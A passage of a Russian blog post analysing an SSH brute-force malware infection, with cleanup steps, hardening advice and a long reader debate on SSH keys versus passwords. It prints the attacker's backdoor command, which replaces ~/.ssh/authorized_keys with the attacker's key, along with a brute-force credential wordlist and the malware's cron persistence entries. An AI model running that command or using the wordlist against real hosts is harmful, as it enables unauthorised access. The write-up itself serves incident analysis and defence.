exit 0cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~Так же есть упоминание ip адресов 45.9.148.129 и 45.9.148.125, находящихся в Нидерландах.
Словарь для подбора паролей — небольшой, хранится в отдельном файле.
jabez jabez
admin smiles
root campbell
jawad jawad
test $$$$$$$$
root wangjianjun
sdtdserver sdtdserver
idea idea
foundry 123456
citlalli citlalli
root sensor123
info info333
kaasen kaasen
root Million2017
jakayla jakayla
edineide edineide
wikre wikre
guest edges
games nobody123
vcsa hhhhhhh
root sq
root root@1234567890
ftpuser password!
web nobody0000
root jyy
mysql chelu
charming 123456
web web1111
pscsec pscsec
root michell
louhellen louhellen
xgridagent xgridagent
alligator alligator
root subrosa
denny password
ftp 1220
rival rival
root 9i8u7y
root general1
smenes smenes
root password@1234567890
support testing
root 123asdfghjkl
smmsp 12330
root fladvert
picher picher
backup farrell
hung root2root
guest shinobu
sacre sacre123По скриптам видно, что сам дистрибутив малвари лежит в архиве dota3.tar.gz, однако мне не удалось понять какимо образом он попадает в систему. Явной директивы скачивания файла нет. Вероятно, он подкладывается через бэкдор. Если у Вас есть идеи на этот счет, пишите в комменты.
Ланчер
В момент запуска, малварь прописывает себя в подсистему cron для текущего пользователя. В папке /var/spool/cron/crontabs/<username> можно найти файл следующего содержания
0 0 */3 * * /dev/shm/.lwp/.rsync/a/upd>/dev/null 2>&1
5 8 * * 0 /dev/shm/.lwp/.rsync/b/sync>/dev/null 2>&1
@reboot /dev/shm/.lwp/.rsync/b/sync>/dev/null 2>&1
0 0 */3 * * /dev/shm/.lwp/.rsync/c/aptitude>/dev/null 2>&1в нем автоматически перезапускаются все процессы, относящиеся к зловреду.
Пора покончить с этим безобразием!
Мы получили представление о том, как ведет себя зловред. Теперь можно выстроить стратегию для очистки системы от него.
Убираем cron задачи пользователя
rm -rf /var/spool/cron/crontabs/<username>Убиваем процессы юзера
pkill -u <username>Убираем сохраненный ssh ключ
rm /home/<username>/.ssh/authorized_keysУдаляем сам зловред
rm -rf /dev/shm/.lwpЯ так же рекомендую повторить команды выше дважды и полностью удалить юзера вместе с домашней папкой. При необходимости, его можно пересоздать заново.
Что делать с заблокированным IP адресом?
Я позвонил провайдеру и сообщил о проблеме, меня внимательно выслушали и порекомендовали написать об инциденте в саппорт, приложив все доступные материалы. Никаких рекомендаций по разблокировке IP мне получить не удалось. Мне порекомендовали поменять его на новый через ЛК, а старый адрес вернулся в пул доступных для других пользователей. Может быть кто-то с хабра подскажет как снять с адреса черную метку?
Какая система уязвима для подобной атаки
В сущности, любая Linux система, у которой открыт доступ к ssh и есть много пользователей. В особенности, это касается различных хостеров и облачных сервисов. Известен случай Массового заражения сервисов Azure в мае 2019
Как защититься от подобных атак?
- Используйте безопасные пароли для всех системных пользователей
- Установите политику паролей для пользователей системы
- Установите
fail2banи rate limit на ssh черезufwили любой другой файрволл - Ограничте доступ к ssh порту списком доверенных IP адресов
- Отключите возможность логина в shell всем пользователям, которые туда ходить не должны
UPD
- Отключите авторизацию по паролю, оставив доступ к ssh только по ключам
Аналитика и случаи заражения похожими штаммами
Комментарии (144)
HellKaim
04.01.2020 22:56+1Черт бы с ним с юзкейсом — 100500 лет как придумали port knocker. Тот же 80,21,53 пропускают все и всегда.
Или, если уж так нужно — то только по сертифткатам без паролей.
KorP
04.01.2020 22:56У меня сразу вопрос возникает — Вы поставили НАС и не озаботились его защитой? При том, что вы даёте в конце рекомендации, как от этого защититься и по тексту статьи становится понятно, что вы в общем то далеко не домохозяйка.
Или как всегда — пока петух не клюнет? :)
justhabrauser
04.01.2020 23:07+1И на старуху бывает порнуха.
Я вон клиенту наворотил защит, но при очередной манипуляции в скрипт iptables закралась запятышка. И iptables свалился в default (а я не заметил и не проверил), когда почти всё почти всем.
Очнулся только когда через пару месяцев хостер тонко намекнул своим сканером, что у меня открыты уж слишком уж неприличные порты.
А так — упавшее и быстро поднятое упавшим не считается.
tendium
05.01.2020 11:51Просто открытые порты это еще мелочь. Вчера вот меня попросили поднять один проект из бекапа (интернет-магазин, который уже прекратил своё существование, но дабы не были нарушены права потребителей, саппорт еще осуществляется, и для этого нужен доступ к истории продаж). Так вот при попытке поднять сайт я получал некую ошибку и решил её загуглить. Как же я был удивлен, когда я в гугле нашел в открытом доступе исходники, с паролями к разным ресурсам и прочее (хостер сделал basic http-auth на порт 80, но на порту 443 по нешифрованному http-протоколу (!) было доступно содержимое всего в открытом доступе, включая папку .git и пароли). Это, к счастью, была лишь dev-версия, т.е. к продашн данным оттуда было не добраться, но показательно. Судя по всему, исходники были в открытом доступе года 3-4 и при этом постоянно актуализировались.
romansavrulin Автор
04.01.2020 00:32Да случайно напоролся. Руки не дошли заткнуть юзера после добавления timemachine на него.
justhabrauser
04.01.2020 23:22Может быть кто-то с хабра подскажет как снять с адреса черную метку
Скорее всего — никак.
Любой удод может настучать в DNSBL или нечто подобное — и потом запаритесь доказывать, что не верблюд (особенно если нет правильного обратного резолва (а кто ж Вам его даст)).DrrRos
04.01.2020 02:24Есть ещё вменяемые провайдеры, которые дают возможность править записи ptr. Только из-за этого на домру и перешёл.
Godless
04.01.2020 21:12с работы из dnsbl чистили. Попала аж целая подсеть хостера infobox в каком-то году.
В общем писали заяву сами по электронке + тикет в суппорт, они тоже писали, 3 месяца ожидания и удалили подсеть из списка.
aborouhin
04.01.2020 23:26По поводу как снять блокировку — в первом же сообщении статьи написано, что используется база maxmind.com. У них есть форма для коррекции сведений — support.maxmind.com/geoip-data-correction-request. Там, правда, речь про коррекцию неверной геолокации, но пишут, что рассматривают заявки вручную, так что если в комментарии кратко изложить проблему — возможно, исправят. Хотя, думаю, записи в их базе должны так или иначе сами по себе устаревать, ибо иначе половина динамических адресов рано или поздно в блэклисты попадут.
P.S. Ну и да, файрволл и fail2ban я сам иногда ленюсь сразу настраивать, да и 22 порт, грешен, иногда открытым оставляю, — но «PasswordAuthentication no» в sshd_config — это чуть ли не первый шаг для любой linux железки в домашнем хозяйстве.
FotoHunter
05.01.2020 11:23Всё верно, мой почтовик раньше влипал в базы dnsbl, в результате иногда хожу по спискам этих баз, тестирую почтовик, снимаю старые баны, проверяю на возможные уязвимости типа опенрелеев. Уже много лет никпких проблем. Самописный скрипт анализирует логи нескольких программ на попытки подбора паролей и блокируе ip (скрипт писался ДО того, как узнал про fail2ban — меня мой скрипт устраивает)
roller
04.01.2020 23:39В этой статье фраза «используйте вход только по ключам, запретите вход по паролям» — явно табу.
luethus
04.01.2020 00:04А какой (примерно хотя бы) пароль был? Интересно, что смогли сбрутить.
BugM
04.01.2020 00:09Да любой из словаря. Это действительно важно какой именно?
Словари гуглятся легко.SergeyMax
04.01.2020 09:04По полному словарю обычно не перебирают, так как это слишком долго и сложно. Перебирается штук пять-десять самых популярных паролей для примерно такого же количества пользователей, после чего на эту конкретную систему ломиться смысл пропадает, и нужно переходить к следующему IP-адресу.
simpleadmin
04.01.2020 11:55Перебирают намного глубже.
В качестве теста на ~30 серверах я пробросил 22-й порт на сторонний сервер и там выставлял разного рода «словарные» пароли, наблюдая за брутфорсами.
В среднем ожидание взлома пароля из списка www.iau.org/public/themes/naming_stars занимало 1-3 недели.
Числовой, например 6227020800 (он тоже входит в словари) около суток.
Sly_tom_cat
04.01.2020 00:05Самыми первыми 2-мя действиями на любом Linux торчащем 22-м портом в интернет должны быть:
1 — запрет логина в SSH по паролю
2 — настройка входа в SSH по ключам
PS Чуть спокойнее когда 22 порт светится только на IPv6, там пока «тишь и гладь», но не думаю что это надолго…sveq
04.01.2020 12:15+1Чем ключи лучше случайно сгенерированного 20-30 символьного пароля в практическом плане?
karavan_750
04.01.2020 17:10+2Как раз в практическом смысле использование ключей удобней указанием файла, в котором содержится ключ.
myz0ne
04.01.2020 23:16+1Тем что пароль передается на удаленный сервер в открытом виде и если он (сервер) скомпроментирован, будет скомпроментирован и ваш пароль при логине. Если вы его используете на нескольких серверах — будет получен доступ и к ним. Если же вы генерируете пароли для каждого сервера — то в практическом плане ключ удобнее тем что он безопасно может быть один для доступа на многие сервера.
jok40
05.01.2020 12:49пароль передается на удаленный сервер в открытом виде
В SSH в первую очередь поднимается защищённый канал — процесс аутентификации выполняется внутри него.karavan_750
05.01.2020 13:05+2Если система скомпрометирована, то можно допустить, что на той стороне Ваш пароль перехватывается до момента аутентификации.
Pilat
05.01.2020 17:39Ssh передаёт пароли в открытом виде???
BugM
05.01.2020 18:15+3На сервере руту он доступен в открытом виде. При использовании одного пароля для нескольких серверов при компрометации одного сервера компрометируются все эти сервера.
А вот ключ в этом отношении безопасен. Один ключ для большого количества серверов это безопасно и хорошо.
GennPen
04.01.2020 14:03IPv6 тоже не панацея. Единственное, если дублировать на интерфейс еще один IPv6-адрес, на который повесить только SSH и ничего более.
Tolmy
05.01.2020 00:12На IPv6 сканирование теряет смысл. Когда каждой домохозяйке по сути выделяют в подсеть ровно столько же бит, сколько выделено на весь остальной интернет. Отыскать в подсети /64 один единственный адрес, полученный по SLAAC или RFC4941 и который отвечает по порту 22 — слаборешаемая при нынешних скоростях в каналах задача. Будут типичными скорости десятки гигабит в секунду до массового потребителя, тогда может — да. Так что использование IPv6 везде где можно — вполне себе альтернатива VPN.
BugM
04.01.2020 00:08-1В 2020 году ssh с доступом по паролю? Вы где были все последние годы? А еще «Руководитель отдела разработки ПО»
Все эти fail2ban и port knocking только жить мешают. Требуется нетривиальная настройка клиента и возможны проблемы в случае неверной настроки.
С чужого планшета слазить сложно становится. А такое нужно всегда срочно и внезапно.
Приватный ключ с паролем в любом облаке по вкусу. Это надежно, безопасно и доступно всегда и с любого устройства. Понятно что пароль от облака и пароль от ключа должны быть разными.romansavrulin Автор
04.01.2020 00:43Давайте не будем переходить на личности и оскорбления. Ошибки бывают у всех. Я — не исключение. Да и у крупных вендоров тоже. Например, у Microsoft азур прилег от этой же дряни в мае.
BugM
04.01.2020 01:36Ошибка и незнание базовых принципов это разные вещи.
Я бы постыдился такое на публику выносить.
Для школьника настраивающего свой первый ssh сервер это простительно. А вот для «Руководитель отдела разработки ПО» уже нет. У вас же там сервера какие-то стоят. Инфраструктура какая-то есть. На них разработчики ходят. Админы или деопсы управляют всем этим. ssh ключи должны быть везде. Или везде пароли стоят… Тогда мне страшно за ваши сервера. Я бы вышел даже на праздниках такое срочно переделать. Разломают же все. Просто потому что могут.
cagami
04.01.2020 03:07Дома он тоже руководитель разработки ПО?
язвительный вы какой-то.
Я бы постыдился такое на публику выносить.-у всех свои минусы, а ТС не постыдился (;BugM
04.01.2020 16:56+2Да. Или при выходе с работы память стирают?
Писать на весь мир «Я некомпетентен в своей профессиональной области». Такое себе…
Видимо поря завязывать с комментариями. Хабр становится странным. За указывание на некомпетентность человека в области которую он сам обозначил как свою профессиональную идут массовые минусы в карму. А за абсолютно неграмотную технически статью идут плюсы.
В первых 2 фразах статьи должно быть «Поставить вход по ключам. Переставить скомпрометированную систему» А дальше можно в песочнице разбираться что там наставили. На реальной скомпрометированной системе ничего чистить не в коем случае нельзя.
dominigato
04.01.2020 19:31+1Ну меня честно говоря это шокирует, что есть люди в IT, которые оставляют сервер с открытым всему миру 22 портом с паролем. Это просто вопрос времени когда его вскроют.
Так же как и передача паролей по мылу в clear text, авторизация с http и clear test smtp, шифрование WEP на вайфайе или вообще без шифрования, плата карточкой без cvc кода и прочие вещи из времен «дикого интернета». Я бы все таки постыдился.
Хотя может это профессиональная деформация.
Tangeman
05.01.2020 00:06-1Может расскажете за какое время взломают систему в которой 16-символьный случайный пароль (из набора в 54 — это [a-zA-Z0-9] минус похожие) на ssh?
Подсказка — это 92 бита энтропии. Мне кажется, вероятность того что найдут уязвимость и сломают с её помощью гораздо выше, но в этом случае и ключ не поможет.
Есть у меня клиент, у него 5 серверов (там wp, crm и всё такое), от ключей отказался ибо для него это сложно (сам он далек от IT, ssh фактически нужен только для работы по sftp и на тот случай если меня трамвай переедет и нужен будет доступ кому-то ещё), файрволл не канает потому что он постоянно ездит по всему миру (да, vpn для него тоже за гранью), поэтому поставил вышеупомянутые 16-ти символьные случайные пароли (благо password manager у него есть) — и математика мне подсказывает что в ближайшее тысячелетие их не сломают (даже если получат их солёные хеши, про онлайн я уже молчу).
С другой стороны, если у него на компе троянец заведётся или кто-то ручками влезет — то и ключи не спасут.
fail2ban, кстати, почти бесполезен — по моим наблюдениям, сейчас ломятся с разных адресов на одного пользователя с разными паролями (словарными, разумеется), атакующие IP повторяются в лучшем случае через сутки и делает максимум две попытки.dominigato
05.01.2020 00:16+1Может расскажете за какое время взломают систему в которой 16-символьный случайный пароль (из набора в 54 — это [a-zA-Z0-9] минус похожие) на ssh?
Может подскажете сколько пользователей ставят такие пароли? Все это хорошо в теории, на практике выходит то, что у ТС случилось. Можно и пароль из миллиона симолов придумать, удачи в использовании.Tangeman
05.01.2020 00:56То есть вы всё-таки согласны что правильный пароль не хуже чем ключ?
На практике это реализуется генератором паролей и проверкой сложности (и словарей) при смене (или начальном выборе) пароля.
К сожалению, в мире IT есть не только ssh, так что от паролей никуда не деться, причём доступ по ssh может быть гораздо менее опасным чем доступ к другим сервисам, куда ключи ещё не доехали.dominigato
05.01.2020 10:13Нет, пароль хуже. В том числе и для раздачи доступа другим людям. Ключами намного легче управлять и удалять с сервера когда надо закрыть кому-то доступ. Так как мы говорим только про SSH тут, то никаких паролей, только ключи.
gecube
05.01.2020 13:14Первая и вторая части Вашего сообщения, ну, никак не связаны
Ключ к ссш — намного удобнее и безопаснее, чем пароли. Та же работа с гитом, как пример. Либо ты зашиваешь пароль в настройки Гита (и он там болтается плейн текстом), либо надо тащить системную ключницу. Единственное, что реально удобно в гитлабах и прочем — это многоразовые токены (оно по сути как пароли работают).
Tangeman
05.01.2020 15:56Удобнее — кому как, моему клиенту нет, например, хотя я сам как раз использую ключи (для всех смотрящих наружу ssh, по крайней мере).
Безопаснее — только в описанных вами случаях (git & co, т.е. случаи когда нужно избежать shared secret на другой стороне), если же речь просто про вход терминалом — то легко сделать непробиваемый и легко запоминаемый пароль с энтропией от 100 бит и выше (фраза с модификаторами — ни словарём, ни брутом не взять, при этом её даже в блокнот можно записать практически ничем не рискуя), а с точки зрения утечки/потери или маски-шоу пароль и ключ ничем не отличаются.myz0ne
05.01.2020 17:41+2Ну нет же. Ключ может храниться на неизвлекаемом носителе. Например тот же TPM. Пароль надо вводить при каждом логине на сервер, ключ может быть расшифрован один раз и храниться ssh-agent'ом. Один ключ может безопасно использоваться для входа на несколько серверов, пароль — нет. Ваш пароль передается на удаленный серевер и легко может быть извлечен рутом на сервере куда вы логинитесь (как пример — специальный pam модуль). Единственный плюс пароля — отсутствие необходимости хранить ключ.
Tangeman
05.01.2020 19:39+3Я не спорю что ключ имеет преимущества, но он также имеет и недостатки (утеря или компрометация одного ключа ко многим системам та ещё песня), но всё что я хотел сказать — для сферического Васи в вакууме которому нужно просто заходить на свои один-два сервера из разных мест — совершенно непринципиально будет это хороший пароль или ключ, атакующие удаленно один пень не влезут (если не считать уязвимостей).
К тому же, при условии что у каждого сервера уникальный пароль (как и должно быть) — возможность его извлечения несущественна, он не даст атакующему ровно ничего (он и так уже рут).
Для кровавого (и не очень) энтерпрайза ситуация меняется — там удобства ключа проявят себя в полную мощь, но мир состоит не только из энтерпрайзов, Васей в нём довольно много.
Есть, кстати, один интересный нюанс — с небольшой модификацией ssh-keygen ключи могут быть сгенерированы с помощью хэша от произвольного пароля (используя его как seed), таким образом позволяя всегда их «носить с собой», т.е. их можно восстановить имея только генератор (и свой супер-пароль), без необходимости хранения самих ключей.gecube
05.01.2020 20:13+1Очень интересный комментарий по делу, спасибо.
Могу только добавить, что в кровавом Энтерпрайзе очень странные понятия об ИБ. Ключи запрещены, пароли разрешены, при этом есть правила по сложности паролей, их неповторяемости и ротации каждые хх дней. Выглядит в нынешние времена как дикость.
Либо не все Энтерпрайзе одинаково полезны )))Tangeman
05.01.2020 20:53+2В ряде энтерпрайзов с которыми я имел дело СБшники мотивировали отказ от ключей сложностью отъема доступа в случае необходимости (это чуток сложнее чем сменить пароль), а также опасались «троянского» ключа — всё же в случае ssh это не так красиво как в случае «полновесной» системы с CA (хотя и он это поддерживает).
Впрочем, в большинстве случаев в СБ находятся вовсе не специалисты в области IT безопасности, отсюда и «дикость».mayorovp
06.01.2020 10:01+2Театр безопасности какой-то. "Троянский" ключ возможен в любом случае, независимо от регламентов СБ. Вот они по-отключали ключи на серверах, а я включил и свой прописал. И кто мне помешает?
Если же за серверами следить — то внезапно оказывается, что отозвать ключ проще, чем сменить пароль: новый пароль надо ещё как-то сообщить всем, кому нужен доступ, а отозванный ключ — это просто удалённая строчка в файле.
BugM
05.01.2020 21:17+3Бежать надо от такого Энтерпрайза. Они данные потеряют и тебя виновным сделают.
Есть же типовой сценарий: Вот тебе ноут. Диск на нем шифрован. Ключ с ноута не не выносить. Ноут бери с собой. Потерял/украли срочно пиши/звони вот сюда в любое время.
gecube
04.01.2020 17:38Насчёт fail2ban согласен. Он скорее не помогает, а мешает. Плюс дополнительный компонент, в котором, внезапно, тоже бывают баги.
Всю защиту от брута можно сделать и настройками ssh демона, но тут надо не переборщить, чтобы случайно себе доступн не отрезать, когда будут ломать
Astolfo
04.01.2020 00:38А почему бы не запретить доступ по поролям, и не использовать ключи?
romansavrulin Автор
04.01.2020 00:38Верное замечание, добавил к рекомендациям
dominigato
04.01.2020 12:38Это должно быть не последней рекомендацией, а самым первым правилом. Все остальное может быть рекомендациями, а запрет логина по паролю — закон.
Wesha
04.01.2020 03:52Потому что пароль можно запомнить и ввести с клавиатуры, когда находишься далеко от дома, а ключ — вряд ли.
Просто пароли надо посложнее выбирать.dominigato
04.01.2020 14:56Нет, не надо выбирать пароли, надо пользоваться ключами. Мы говорим про SSH тут, а не веб логин какой-то.
gecube
04.01.2020 16:43А для веб логина есть связка ключей в браузере ) или где она там обычно у вас )
Wesha
04.01.2020 19:15-1"Критикуешь — предлагай", а не, как в том анекдоте, "мыши, станьте ёжиками". Вот Вам use case: нужно входить на домашний компьютер по SSH с телефона. Как Вы предлагаете "пользоваться ключами"? Запоминать многосимвольные случайные ключи? Желаю удачи. Хранить ключи на телефоне? Тогда некоторые любопытные сотрудники аэропорта автоматически имеют доступ и к Вашему компьютеру. Хранить на телефоне запароленные ключи? Тогда, когда в Вашем телефоне садится батарейка/разбивается экран/он падает в туалет, Вас ждёт ещё один неприятный сюрприз. Жду Ваших предложений.
gecube
04.01.2020 19:18Ничего не понимаю.
- Ничего не мешает иметь по ключу на каждое устройство, с которого заходите, — потом их так проще менеджить.
- Ничего не мешает иметь на телефоне ключ с паролем. Сперли телефон — ну, ок, ключ-то под паролем? А на рабочей машине тот же ключ без пароля или вообще другой ключ (п.1)
- Пароль — ненадёжен априори. Его могут подсмотреть через плечо, может стоять кейлоггер, или что ещё.
- Я уж не говорю, что в идеале доступ должен быть через ВПН или промежуточный хост (proxy, bastion, jumphost)
Wesha
05.01.2020 00:31Вы специально пропустили следующий случай, или просто не обратили внимания?
- Ключ от домашнего компьютера на телефоне, под паролем.
- Вы находитесь далеко от дома (напримиер, в аэропорту) и Вам очень нужно вот прямо сейчас зайти на домашний компьютер (например, потерялся посадочный талон и нужен с него код, ну или сами придумайте зачем).
- Телефон по каким-то причинам недоступен (села батарейка, случайно уронился в унитаз и промок, украли).
Ваши действия?
gecube
05.01.2020 00:36Спасибо, что повторно разъяснили.
У меня попросту не возникнет такой ситуации, что СРОЧНО нужно зайти на домашний компьютер. Потому что ноут всегда с собой. А если я недоступен… То недоступен. С тем же успехом там где Вы находитесь может вообще оказаться мобильного интернета или бесплатного вайфай.
Я уж не говорю о том, что домашний компьютер напрямую по ссш из интернета — дичь какая-то. У меня так вообще дома сейчас прямого внешнего айпи нет… И я еще 10 раз подумаю — стоит ли провайдеру за него доплачивать.
Ну, и если очень надо — родственники дома есть…
Так что какой-то странный кейс.Tangeman
05.01.2020 01:23Некоторые работают дома, и у них на домашнем компе (сервере) всё что имеет отношение к работе (при этом не всё можно и нужно носить на ноуте), так что доступ нужен на случай выезда.
При нормальном подходе нет никакой разницы — дома комп или на работе, меры по защите одинаковые, дома даже проще обеспечить безопасность, ибо в офисе обычно больше лиц с непонятным уровнем доверия (приходящие курьеры, ремонтники, уборщики etc).dominigato
05.01.2020 10:15Три буквы: V P N
gecube
05.01.2020 13:14Опередили меня. Не вижу ни одной причины, почему если у человека есть ссш, то не перекатиться на ВПН.
Tangeman
05.01.2020 15:39А я не вижу ни одной зачем перекатываться на VPN (если не нужен доступ ко всей сети) — с точки зрения безопасности VPN ничуть не лучше SSH с ключём или даже адекватным паролем, к тому же, с версии 4.3 он сам может выступать как VPN (через tun).
Если же говорить о потенциальных 0day-уязвимостях, то VPN от них тоже не застрахованы, и на них тоже долбятся.gecube
05.01.2020 16:16Вероятность взлома и vpn, и ssh одновременно ниже, чем вероятность взлома одного лишь ssh. Ну, и вопрос в том — что мы подразумеваем под 0day — эскалацию до рута или просто обход аутентификации/авторизации.
BugM
05.01.2020 18:21+1Что-то мне подказывает что уязвимость в sshd позволяющая вход без верного ключа будет стоить столько… что нам беспокоится о ней не надо. Я даже не уверен что Гугл о таком беспокоится.
Wesha
05.01.2020 02:58У меня попросту не возникнет такой ситуации
Попытка съехать с темы опознана и пресечена. Возникает такая ситуация, возникает — у меня, например, постоянно. Возможно, потому, что у меня не windows. Или потому, что у меня телефон не помойка, на которую я тащу всё подряд, а карманный терминал.
Потому что ноут всегда с собой.
Предпочитаю не рисовать у себя на спине большую жирную мишень для грабителей.
С тем же успехом там где Вы находитесь может вообще оказаться мобильного интернета или бесплатного вайфай.
В Тимбукту я пока не ездил.
Ну, и если очень надо — родственники дома есть
"Что знают двое, знает и свинья".
karavan_750
05.01.2020 05:23Для ключа под паролем нестрашно иметь копию на внешнем хранилище доступном из интернетов.
Wesha
05.01.2020 05:59Но тогда возвращаемся к началу дискуссии: если ключ защищен паролем, то слабое звено в цепочке — опять же пароль. Это примерно как
Вот такая штука
— ключ от квартиры
, где деньги лежат,кладётся в мини-сейф, защищённый всего лишь 4-значным кодом. При определённой сноровке взломщик может код подобрать.myz0ne
05.01.2020 18:31Я тут статью вспоминаю про то что ключ зашифрованный паролем аналогичен ключу без пароля. Не знаю насколько она актуальна, но все же лучше этот ключ зашифровать дополнительно. https://habr.com/ru/company/wirex/blog/419829/
gecube
05.01.2020 18:51Там не технические доводы в статье, а больше — социальные.
В общем, с чем соглашусь — обычно шифрование ключа паролем бессмысленно и реально безопасности не добавляет.
gecube
05.01.2020 13:25Давайте честно — то что у меня не возникает такой проблемы — не означает, что у других ее нет. И верно обратное — то что у Вас какой-то специфичный кейс — не означает, что у остальных все так же.
Как этот надуманный пример с севшим телефон. В нынешнем мире вообще очень стрёмно с разряженным телефоном. Та же 2FA для облачных сервисов
Заходишь с нового места или устройства… И приплыли.
Я уж не говорю о том, что, да, действительно, для серьезных применений нужно, наверное, иметь несколько телефонов. Один — для Фейсбуков, контактиков, а второй — для банк-клиентов, ссш, и прочего нужного и важного.
По поводу впн вместо "голого" ссш домой коллеги высказались. Действительно, как ещё один уровень защиты — почему нет? И не нужно 'отмазываться', что у вас там роутера нет или провайдер блочит — все решаемо.
iig
05.01.2020 13:59"ещё один уровень защиты — почему нет? "
Ещё одна точка отказа — почему да?
gecube
05.01.2020 14:29У вас точка отказа ровно одна — роутер, через который интернет заведен в квартиру. Что с впном, что без.
iig
05.01.2020 18:00-1Вот, допустим, по какой то причине упал VPN на этом вашем сервере. Диск переполнился внезапно, телеграмкомнадзор решил, что vpn без освященного им же сертификата быть негоже, 10050 причин может быть. Ваши действия? Дальняя дорога? Черный ход в обход VPN?
gecube
05.01.2020 18:53То же самое будет и для ssh. Кончилось место? Под непривилегированным пользователем тупо не залогиниться (на самом деле — там ещё много переменных, поэтому я не буду утверждать, что корелляция 100%). И?
iig
05.01.2020 19:15-1"То же самое будет и для ssh."
Не совсем. Под root можно хотя бы попробовать залогиниться и разобраться с ситуацией.
gecube
05.01.2020 19:27Отличный бедпректис — оставлять рутовый доступ по ssh. Даже обсуждать не хочется.
Tangeman
05.01.2020 20:04+1А в чём, собственно, проблема? Эту мантру все повторяют ещё со времен telnet, единственное весомое «против» — это то что случайно можно дел натворить, забыв что залогинился как рут, всё остальное потеряло смысл со времен изобретения ssh.
Можете привести хоть один весомый аргумент «против» (не считая «случайно rm -rf /» и прочих глупостей из этой серии) для логина как рут с ключём?
Вопрос не праздный, потому что нигде в обсуждениях вопроса «Почему нельзя логиниться как рут?» не приводят никаких аргументов (кроме уже упомянутого «случайно сделаете глупость» — но глупость можно сделать и в sudo).gecube
05.01.2020 20:10+1Из очевидных вещей:
В многопользовательской среде сложнее определить, кто заходит под рутом — персонализированные учётки намного выгоднее и ими в каком-то смысле проще управлять, чем свалкой ключей у рута в authorized_keys.
Второй аргумент в том, что если root включен, то надо подобрать только ключ/парольную фразу, а не пару имя пользователя+пароль/ключ.
Третья история, как Вы верно заметили, не всегда нужны админские права — и тогда проще сразу ходить пол юзером, а не сразу под рутом. Про принцип наименьших привилегий ведь все слышали?
Дальше думать надо )Tangeman
05.01.2020 20:47+1Это всё валидные аргументы, но всё же из той же серии — «как бы чего не вышло».
Если мне нужно что-то сделать как рут (а в большинстве случаев это так и есть) — я логинюсь сразу как рут, в почти всех системам мне там делать нечего как обычному пользователю. Поскольку я делаю это исключительно со своего компа или vpn (как и мои коллеги) — то выяснить кто там был — не проблема (но это бывает нужно чуть чаще чем никогда).
По поводу подбора я уже не раз высказался выше — хороший пароль или ключ эту проблему решают, особенно если сервер не смотрит в мир.
Разумеется, там где у меня есть свой аккаунт, и когда мне не нужны админские права, я не логинюсь и не работаю как рут, но это всего пара моих собственных систем — остальные — клиентские (причем клиенты, как правило, не имеют рутовских прав).
Это просто иллюстрация того что bad practice не всегда bad — всё зависит от конкретных условий. Могу лишь заметить что за 20 с лишним лет это не привело ни к каким проблемам — ни у меня, ни у коллег, ни у клиентов.gecube
05.01.2020 20:58+1Любая катастрофа — это совокупность факторов и обстоятельств. Возможность доступа к руту по ссш — может быть таковым фактором, а может не быть.
iig
05.01.2020 21:23+2"если root включен, то надо подобрать только ключ/парольную фразу"
Всего лишь подобрать ключ. Думаю, есть способы быстрее и дешевле. Например, купить датацентр вместе с сервером, куда нужно получить доступ. :D
firk
05.01.2020 21:25+1Второй аргумент в том, что если root включен, то надо подобрать только ключ/парольную фразу, а не пару имя пользователя+пароль/ключ.
А по-нормальному — надо подобрать логин юзера + аутентификацию юзера + пароль su (подбор которого можно начать только после того, как первые два фактора уже сломаны и не для любого, а для wheel-аккаунта).
В случае в логином юзера по ключу третьим фактором может быть пароль sudo (который не подойдёт в качестве второго по причине запрета логина по паролю).BugM
05.01.2020 21:33надо подобрать логин юзера
Не надо. Это публичная информация. Если даже у вас не так, то лучше все равно исходить из того что логин все знают. Он нигде особо не скрывается.
пароль su
И эта часть не работает в реальной жизни. sudo по жизни без пароля для всех у кого права на него есть. Просто из соображений удобста. Люди не любят постоянно вводить сложные пароли, а от простых толка нет.gecube
05.01.2020 21:46Вынужден согласиться с обоими пунктами. Но хочу заметить, что логин все-таки имеет чуточку больше энтропии, чем попросту фамилия-имя юзера (т.к. могут быть разные варианты + необходимость различения полных тезок, если у нас прям кровавый энтерпрайз).
aborouhin
04.01.2020 19:35+2Хранить на телефоне ключи. Память телефона шифровать. Любопытных сотрудников аэропорта с требованием расшифровки посылать подальше (вежливо, «сам забыл пароль, приеду — придётся всё стирать и заново настраивать»). В те не столь многочисленные страны, где это не прокатит, въезжать с чистым телефоном без данных и предусматривать какой-то разовый механизм загрузки оных после въезда (тут уже можно придумывать варианты, как это реализовать — но это не повод менять обычный способ работы).
WolFman
04.01.2020 22:31+1Ну насчет ssh ключа, вполне возможно.
Gamliel_Fishkin
05.01.2020 08:00+1пароль можно запомнить и ввести с клавиатуры
g2857z1KkOzi78qgtyzskhseO2KY20vwgJFyeEZe6nikmSTaty2ME0FawZgeOaez
Запомните? :-)
correct battery horse staple
Подбирается по словарю.Wesha
05.01.2020 19:55-2Подбирается по словарю.
В английском языке около 1,4 миллиона слов — примем для простоты (c большим запасом), что ровно 210. Четыре слова (с сохранением порядка следования) — 240. Подбирайте!
Помогает также переключение языков — набирайте русские слова в английской раскладке (ghfdbkmyj kjiflm ,fnfhtz chrtgrf) — ещё несколько бит в сложность прямо с потолка (я надеюсь, что Вы умеете в слепой метод?)
Gordon01
04.01.2020 01:15Не вижу ничего зазорного во входе по паролю, есть настроена 2fa
aborouhin
04.01.2020 01:59Речь про Google Authenticator?
Неудобно (особенно если надо быстро несколько сессий на разных серверах открыть — утомишься переключаться на authenticator и обратно вводить коды).
Не позволяет использовать средства автоматизации, работающие по ssh (тот же ansible).
Не очень универсально (насколько я понимаю, реализовать это, скажем, на Микротике невозможно).
Не даёт очевидных преимуществ перед просто использованием ключа в плане защиты от атак.
